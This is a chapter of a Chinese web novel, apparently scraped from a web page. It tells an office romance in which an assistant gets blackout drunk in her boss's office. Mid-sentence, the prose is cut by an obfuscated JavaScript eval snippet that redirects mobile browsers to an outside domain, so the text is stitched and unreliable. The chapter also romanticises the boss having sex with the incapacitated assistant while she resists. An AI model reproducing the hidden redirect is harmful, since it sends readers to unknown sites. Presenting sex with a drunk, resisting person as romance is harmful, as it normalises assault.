23. 23 可爱篇·断片记忆

作品:《当我在老板办公室喝断片后

    沉闷庄重的总经理办公室。


    灯黑、寂静、无人。


    闪烁着红光的监控录像记录下显示目前时间为北京时间——凌晨4:00


    总经办的内起居室里走出一西装笔挺的男人。昨夜他仅仅休息了三个多小时,就又重新回到了工作岗位,正翻阅着桌面上的文件。


    清晨,北京时间9:00伊始,监控录像下的总经办开始热闹起来了,严畅严特助开始为总裁汇报今天一天的行程,以及接下来投标的重难点,阐述了自己的个人看法,提前为老板预制了方案决策选项。


    卢总秘刚刚结束晨会,递交文件给总裁签字。


    金鲤作为总经办的行政助理,早晨刚来到公司,就里里外外将总经办打扫了个遍,勤勤恳恳干完清洁工的工作后,她规规矩矩地按照徐清来这个堪称中华上下五千年来最挑剔的总裁的口味,精心为其制作了一杯美式。


    “?”


    徐清来抿了一口咖啡后,不声不响地朝着金鲤抛去一个眼神。


    金鲤默默在自己的内心小世界里翻了个白眼,甚至在心里狠狠给徐清来扇了两大巴掌,不够,又来了三巴掌。她就知道徐清来会是这个样子,两年来她都已经习惯了,动不动就一副一脸疑惑的样子看着她。


    不管徐清来撅没撅屁股,她都知道接下来他要放什么屁。


    这意思是。


    他不满意。


    呵呵。


    其实金鲤一直以来都不明白,喝个咖啡有那个必要这么讲究吗?她平时喝外边几平米小摊贩作的9.9特价咖啡也喝得喜笑颜开的,雀巢堆个三袋加奶精一泡在她嘴里也就跟国窖似的,怎么徐清来的嘴就金贵些。


    纯手磨咖啡也能挑三拣四的。


    更何况那还是均价在2400磅英元的翡翠庄园瑰夏咖啡豆,比麝香猫猫屎咖啡还要贵将近一倍多价格的咖啡豆。


    徐清来天天嫌她的手冲手法有问题,只不过在金鲤眼里,某位总裁惜字如金,就差没当着全部同事的面骂她蠢货,暴殄天物了。


    “不好意思老板,我去重做一杯。”


    金鲤略带机械化的语气,有些气若游丝地说道。


    这叫打工人没有打工魂、一条烂命用来上班我一条咸鱼我还能有什么用、资本家你到底还想怎样?打工人就是要有打工人的死感、上班如同上坟、每天都在总经办屎里雕花、我就是个都市隶人……


    诸如此类的网络5G冲浪者流行用语在金鲤的脑子里一闪而过。


    这时候大老板却发话了。


    “不用了。”


    不用了三个字的后面是一声带着三分薄情三分讥笑和四分漫不经心的冷哼。


    金鲤非常有阿Q精神地在心中碎碎念。


    嘻嘻,老板后面半句话是不是“懒得喷”。唉,不喝就不喝吧,你不让我继续泡我还美着呢,多一事不如少一事,那么你就给老娘渴着吧。当金鲤正准备离开徐清来的视线时,人家突然莫名其妙的发话了。


    “等一下。”


    徐清来伸出那双矜贵的手,脉络清晰骨节分明的一双完美若男模的手的质感,此刻在金鲤眼中也化作恶魔之掌。


    他慵懒压眼,气场冷若寒霜,丝毫不近人情,用指腹擦了下办公桌侧下方,带起一丝灰尘,随后伸出食指,摊开掌心来伸到金鲤面前给她看。不必多言,他这话的意思是……这么点小事你都办不好,打扫卫生这么草率?


    “不好意思徐总,我的问题,我这就来打扫一下。”


    身份盛清集团总经办助理,总助卢盼盼领她进总经办的第一天就告诉她了相应的工作礼仪,总经办的员工代表的是总经办的形象,身为徐总的助理,更是得注重个人形象,每天需着正装上班。


    金鲤今天非常没有先见之明的在临出门前选择了一条淡粉色的包臀裙。


    对的,紧身的,很紧身,紧身到拿着擦巾完全蹲不下来的那种程度,更不要说徐清来这种特别喜欢故意整人的资本家给她布置折腾人的活这种时候。


    呵呵。


    完全不让开是吧?


    金鲤内心小九九又开始了。她在脑补一场大戏。


    矜贵,高冷,禁欲总裁是吧。


    不让老娘是吧?看老娘一屁股坐在你身上!


    看你尴不尴尬,社不社死就完事了!


    哈哈哈!


    然而……


    其实她完全不敢,就这么努力地克制着自己完全不挨着徐清来的边,连他的西装也不敢蹭到一丝一毫。


    以一种非常别扭的,非常难堪的姿势,努力得够到刚才徐清来说的那个位置,进行清洁,只听得自己后背的包臀裙“呲啦”一声响,貌似好像是自己的裙子在自己的“努力”之下,不负众望地开线了。


    徐大总裁这个时候终于端着文件换了个位置,对她的存在视若无睹,毫不在意。


    好累,好疲倦,好崩溃。


    这时候,她的救星终于来了。


    总助卢盼盼开始找她干活了,她终于不用耗在徐清来身边听他挑三拣四,阴阳怪气,胡言乱语了。她!自由!了!


    “金助理,你来。”


    金鲤高呼“来了来了”,雀跃地一路踩着小高跟就跑了过去。


    “快过来修一下打印机,我赶时间。”还有总经办的水要重新定一下了,我们部门的会议室里边我刚刚转了一圈,怎么没人订物资,泉阳泉啊,本子纸笔什么的都没有,要赶紧跟总务的人报下采购单。”


    金鲤一一记下,之后快速执行卢总助下发的指令。


    时间在打工人的忙前忙后之中逐渐流逝,又是混俸禄的完美的一天呢,金鲤作为总经办的助理,早就翻阅了一遍今晚总裁大人的行程。


    商务宴请。


    很好。


    太棒了。


    good!


    根据排班,今天晚上她可以早点下班了。


    不用看到老板那张冷脸了,爽。


    正当她美不滋的时候,卢总秘又开始下发指令了。


    “金助理,今晚老板有商务宴请,还是老规矩,你请落实一下。”总助卢盼盼将事情交代好后匆匆离开了。


    金鲤猜想应该是去宴席现场交代事情,于是应了一声。


    她知道卢总秘口中的规矩是什么。


    老板虽然酒量上乘,但特别注重养生,非重要场合滴酒不沾。往往都是他们这些行政秘书喝行政助理在晚宴开始之前将己方使用的所有贵价酒水全部来个“大换身”。


    也就是用VOSS矿泉水替换掉白酒。


    VOSS换茅台,这是商务酒局里面的常规操作。


    需要下边的秘书喝助理胆大心细,在被人发现端倪之时及时进行调整,并在关键时刻挺身而出,为老板挡酒。


    不过老板这方面是个绅士,从不要求女下属为自己挡酒。


    不料这会严特助事务繁忙,和卢总秘之间产生了一定的信息差。


    酒水已经处理过了。


    金鲤今天忙着工作,完全没有歇脚的时间,整个偌大的盛清集团,各个部门跑来跑去,马不停蹄,根本连喝口水的时间都没有。


    她有些口干舌燥。


    惯性地端起桌面上一瓶VOSS矿泉水猛地就来上了一口。


    等觉察出问题时,辛辣的酒水已然下肚,覆水难收,酒量不佳的金鲤瞬间断片,头晕目眩的跌坐在地上。


    北京时间。


    21:00整。


    徐清来沐浴后,扶着袖口清清爽爽地从总经办的侧门里走出来,刚出来就一打眼看到了软得像滩水似的金鲤。


    他走上前去,被她一把抱住大腿。


    徐清来眉头紧蹙,闻到了酒气,瞬觉不爽。要么是办公饮酒,要么是蠢到犯了把酒当成水的低级错误。腿向前倾倒了些,试图摆脱眼前的某人。


    女人貌似醉了,有些迷迷糊糊不省人事,应当是残存了一丝意识,否则也不能这么明目张胆地抱上他的大腿。


    她的姿态很弱小。


    看上去让人有种莫名其妙的保护欲。


    徐清来放弃挣扎,就这么直直地看着她,仍由她抱住自己,想看看她接下来还会做些什么事。与此期间,她抱住他时,白色蝴蝶结衬衣的领口自行松开,春光乍泄,只需要稍稍将目光向下移,连女人的底裤也一览无余。


    烫。


    脸很烫。


    很闷热,人很不舒服。


    金鲤的身体很烫,恐怕是酒精上头的缘故,头晕目眩,甚至有些犯恶心。


    像是抓住了什么救命稻草似的,她抱上了个刚沐浴完的人,那副身体凉凉的,还沁着水珠,摸着皮肤光滑而有弹性,有着蓬勃的心跳声。


    “噗通,噗通,噗通。”


    心跳好像越来越快了,几乎要赶上她当下的心率,两重心跳行成了紧张激烈的奏鸣曲,震得她发昏。


    一刹那的耳鸣。


    随后,她的脚底一空,失重失衡。


    徐清来再也忍不住了,将她打横抱了起来。


    金鲤的头很痛,醉得很厉害,被人抱着躺下时,她努力睁开双眼,试图看清面前的人是谁。但意志终究还会被醉酒的身体控制,软下来,在眯缝之间,看到面前是个男人,身形健硕,仪容清俊。凑近时,身上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028971|161170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有股说不清道不明的、将要引入“误入歧途”的水生调清香。


    应该是她无由来的,手上突然多了一股力量。


    一个用力将徐清来压在自己的身下。


    “希望你醒来后不会记起来这些事情。”徐清来冷冷地说道。


    她无端的这股莫名其妙的勇气,迫使徐清来这个从未落于下风的人将她瞬间压下。


    唇间柔软近在咫尺,她毫不犹豫地吻了下去。


    “?!”


    男人冷峻的面庞露出震惊的神色,怔了神,被这一吻的温柔袭击搞得有些猝不及防,自乱阵脚。他低沉的声线像浸了薄荷的丝绸:“你在做什么?”


    金鲤摇摇晃晃地努力抬起头,还是看不清面前的人是谁,只不过总觉得气场很熟悉。


    算了,爱谁谁。


    亲得挺爽,嘴唇很润,很软,身上很香,特别香,她记得那是一种很高级的,不宜亵渎的香。头晕目眩之间,她看到面前男人的脸浮现成了三张同样好看的清俊的五官精致得要命的脸,长得……还…还挺帅的。


    男人一把抓住她的手,来势汹汹,质询道:“你知道我是谁吗?”


    “我管你是谁,只要你不是那个资本家就行。”


    “什么?”徐清来此刻已经被震惊得说不出来任何其他的字眼,只得蹦出来两个字“什么”,他完全不知道该如何应对此种情况,但克制的手已经收回,有些用力地将金鲤彻底甩开,任其摔在沙发上。


    他完全没有想到平常看起来温柔可人的金助理,醉酒后这样“暴躁”。


    她几乎是撒着泼打着滚地在那里一边痛斥她口中老板的资本家行径,一边像个树袋熊般的挂在徐清来身上撒娇。


    “我们老板!就…就是个大傻逼!”


    徐清来在震惊之余,抱住了将要往下坠的金鲤,让她攀附在自己宽阔的胸膛里,耐心地听着她说话。


    接着,金鲤又要往上亲。


    徐清来后退半步的动作是认真的。


    她踉跄着扯住徐清来的领带,下一秒被被扯松,衣领外敞,露出男人结实的腹部肌肉,金鲤十分大胆地摸了上去。


    “够了!”


    徐清来再也忍无可忍。


    金鲤硬撑着睁开眼皮,想要在残存的意识之中看清对方的长相,甚至开始发酒颠地开始朝着对面长得如此漂亮的男人的脸上,数他颤动的睫毛。


    此时此刻,她完全没有注意到监控红灯在自己的头顶无声闪烁,嚣张得很。


    “你长得很漂亮。”金鲤毫无保留地夸赞。


    徐清来垂眸,看着胸前炸毛的小醉鬼,当她温软的唇瓣擦过他的锁骨时,他终于扣住那截乱动的手腕。


    不能再让她继续摸下去了。


    “看清楚我是谁?”徐清来最后一次沉声问话。


    “知道哦!你……是……帅哥!特别帅的帅哥,一看就活很好的那种!绝世帅哥,百年难遇的那种。呜呜呜呜……”


    说着说着,她甚至哭了起来。


    “不像徐扒皮。”


    金鲤忽然伸出手来捧住对面男人的脸,很认真地望向他:“你的眼睛好美,像星空。”


    随后又一脸沉浸而上瘾地匍匐在徐清来的胸口,深吸一口气。


    “好香。”


    徐清来感受到女人撑着柔软的腰肢贴上来,卧躺在他怀里,软绵绵地凑在他耳边告诉他,他身上的水生调香气很好闻,像沉溺在干净的湖泊里。


    “好想睡。”她说。


    女人的腰肢又软,曲线丰盈,贴近他时是十分明显的柔软的轮廓感,发丝透着蜜香,身体十分轻盈。


    他稍稍托举便轻飘飘地凭他调动。


    她毫不犹豫地吻了下去。


    对方回敬一吻,吻得完完整整,明明白白。


    徐清来尤爱她每每深陷下去的瞬间的吐息,又娇又嗲,轻易地刺激着他的快感神经,似添油火。


    他丝毫不顾及底下人张牙舞爪如同野猫般抓挠反抗及折腾,起身时束了束松懈的领带,如同餍足的野兽。


    他做了挺出格的事,直到结束了他才彻底冷静下来。


    他怨她娇气。


    临走前极度绅士地松开手,小心翼翼地让她枕在自己的膝上,又给她披上严特助的黑色大衣,明明半小时后有一件重要的公务事要处理,但他却有些意犹未尽,直到金鲤再度羽毛似的用手探了下他的蜂腰。


    终于,潘多拉的魔盒被彻底启封。


    第二遍之前,他抬眼将视线锁定在起居室角落的那两个摄像头上,又重新问了她一遍话。


    “要再来一次吗?”